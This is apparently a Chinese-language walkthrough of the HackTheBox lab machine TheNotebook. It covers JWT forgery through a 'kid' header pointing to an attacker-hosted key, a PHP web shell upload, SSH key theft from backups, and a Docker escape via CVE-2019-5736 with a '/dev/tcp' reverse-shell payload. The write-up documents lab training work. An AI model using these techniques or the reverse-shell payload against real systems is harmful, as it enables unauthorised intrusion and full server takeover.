Hackthebox - TheNotebook

靶场信息

靶场类型

信息搜集

首先使用nmap进行端口扫描

nmap -A -sS -sC -sV 10.10.10.230

我们可以看到,一共有三个端口22 80 10010,其中10010目前是关闭状态,所以咱们的突破口还是在80端口

进去后只有三个按钮 Home、Register、Login

Home就是主页,所以咱们先创建一个账号试试

注册了一个名为Lucifiel的账号,提示我们在/notes下可以查看到笔记,咱们先去看看

目前没有笔记,那就创建一个看看吧

嗯。。。暂时没什么可利用的,咱们来看看能不能找到管理员账号吧

先退出登录,然后登录的时候咱们测试一下

账号admin

提示密码错误

账号admin1

提示账户不存在

嗯。。。确定了admin账户存在,但是在使用top1000进行爆破后,并没有爆破出密码

漏洞利用

咱们登入刚才注册的Lucifiel账号,然后看看cookie

咱们可以看到auth下有三段base64的字段

咱们使用CyberChef进行解密,会发现第三段是乱码,咱们就解密前两段就好了

{“typ”:”JWT”,”alg”:”RS256”,”kid”:”http://localhost:7070/privKey.key"}

{“username”:”Lucifiel”,”email”:”Lucifiel@email.com“,”admin_cap”:false}

解密出来的内容,我们会发现,上面有一个JWT,我感觉这是突破口

https://jwt.io/introduction

直接搜索JWT 找到了一个官网并且有相关的介绍,我们发现JWT是一个JSON 网络令牌

JWT格式

headers.payload.signature

这就是咱们的突破口了,可算是找到了

漏洞利用

由于Headers和Payload是明文储存的,所以咱们先把这两项修改好

Headers = {“typ”:”JWT”,”alg”:”RS256”,”kid”:”http://10.10.14.184/privKey.key"}

Payload = {“username”:”Lucifiel”,”email”:”Lucifiel@email.com“,”admin_cap”:1}

但是这里的signature也就是密钥却是加密的,咱们无法修改也无法读取,怎么办呢?当然是Google啦

https://gist.github.com/ygotthilf/baa58da5c3dd1f69fae9

ssh-keygen -t rsa -b 2048 -m PEM -f privKey.key

Don’t add passphrase

openssl rsa -in privKey.key -pubout -outform PEM -out privKey.key.pub

cat privKey.key

cat privKey.key.pub

经过Google搜索JWT密钥的生成放式,咱们找到了所需的命令

kali里生成

这就是咱们要的密钥了

  • -—BEGIN PUBLIC KEY—–

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnwiGXuFO1peifvmt2y08

U89mLgcwp+jxcXkp0/qURF2N9ZqnIYp/Jp6HuGJcqeeoJT/DprtAJsCs6hWJ2Fdq

nSPGs63Ig6OqGJQK/dH2vt6EzQaXqRmkCeN9jwTTPmMr5xklcCtmBAGq8h4NY5LN

PcB9GHudFyi8U/Ae2f/ED8koR/AyG1ZdC6SvMv3tjOmkJ5Cax+jbGJMtUGEj4Xfa

Na5kJxDSq8F4Z16/I+4IO7/cfQlVOMNZ09tvEjOAUxjaD8YkueIvyOHeIXhmEY7/

DF/Tkoh7fpRt+9AWEbASZi/p2m+DF9Ws/K8MyXqNjpWhLrRDpeVLuOLd33V2BQ2w

RwIDAQAB

  • -—END PUBLIC KEY—–

咱们将headers和payload和进行base64,并且保存为JWT需要的格式headers.payload.signature

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4xODQvcHJpdktleS5rZXkifQ.eyJ1c2VybmFtZSI6Ikx1Y2lmaWVsIiwiZW1haWwiOiJMdWNpZmllbEBlbWFpbC5jb20iLCJhZG1pbl9jYXAiOjF9.Q0kirAQPuqVJLtkhAa0pkrB11Dy0-tDm-8H9b3HDja7VWPc4mIiupMYzUzxAZamlA1xnUA_x1Btx4N7lcc09GdXZ0o9Ma-q_j-mPu2V-iFJ5hoYSZdL91bjqGMxp-oJ38pSMW4ulJzssuiRa6wl_C-8n9P4i6T0gqvLQjRUr8ksaLoM1WvU4SRjRN6EH_oFY_P9rTGilC2Vt1uogZ0UZGikDmXRXy74rH_-Bvkx8JcFgLgM5D4xPa5ayKFJ-jF-0vazUB8oUeKMr5za1vCbJXSBSNSosQ1MhkacUkEMnOllWNgYilbZR9t1p05vUnaT7ntbsYbILxb6fk4hVU1LyYA

脚本:

import jwt

key = open(“privKey.key.pub”, ‘r’).read()

headers = {“typ”: “JWT”, “alg”: “RS256”, “kid”: “http://10.10.14.184/privKey.key"}

payload = {“username”: “Lucifiel”, “email”: “Lucifiel@email.com“, “admin_cap”: 1}

print(jwt.encode(payload, headers=headers, key=key, algorithm=’RS256’))

使用该脚本即可生成我们所需要的cookie

在咱们本地使用python3开启一个http服务器

python3 -m http.server 80

然后修改10.10.10.230靶场的cookie,然后刷新

咱们可以看到,成功越权,然后出现了一个按钮 admin panel 咱们访问

发现可以上传文件

我们可以看到,管理员创建了一个笔记,意思是可以上传php文件

https://github.com/Arrexel/phpbash

咱们上传一个php马上去

成功获得一个www-data权限的shell

权限提升

我们看管理员说存在backups备份文件

咱们再/var/backups/目录下发现一个home.tar.gz文件,咱们在靶机上开启http服务把他搞下来

python3 -m http.server 8888

我们找到了noah用户的公钥和私钥

直接使用密钥登录,成功登录

成功拿到user权限的flag

咱们使用sudo -l查看一下sudo权限

发现可以使用docker运行webapp-dev01这个脚本 * 代表可以接受人和参数

直接su成功切换到root用户

sudo /usr/bin/docker exec -it webapp-dev01 sh -c “su”

我以为事情到这里就结束了,毕竟咱们已经拿到root权限了,接下来就是找到flag就好了,但是在寻找flag的时候

发现root文件为空,再结合咱们所处的环境来进行判断,我不得不相信,我们居然是在一个docker里?所以现在还得进行docker逃逸?

这个靶场,确实有难度的呀

docker逃逸

https://github.com/Frichetten/CVE-2019-5736-PoC

经过查询,发现docker exec是存在cve漏洞的 咱们可以直接利用

var payload = “#! /bin/bash \n bash -i >& /dev/tcp/10.10.14.184/4444 0>&1”

咱们下载下来后修改payload

修改好payload以后,咱们使用golang进行编译

然后上传到服务器内,在本地开启http服务

python3 -m http.server 80

在本地启动nc进行监听

上传后运行

第一个root权限运行脚本

第二个noah权限运行指令

成功获得root权限

成功得到root权限flag

最后总结:这台机器确实挺有难度的,我也是第一次碰到需要虚拟机逃逸的靶场。这台机器耗时两天,去掉睡觉和休息时间还有工作时间,耗时应该超过10小时,确实对得起这个难度。还是挺有意思的,学到了不少姿势,其中有一些玄学问题,请教了不少大佬

此处在这感谢我叮叮师傅@ loid

可算是做完了,这两天做的快脑溢血了,就是因为一天时间没有做出来,所以拖更了一天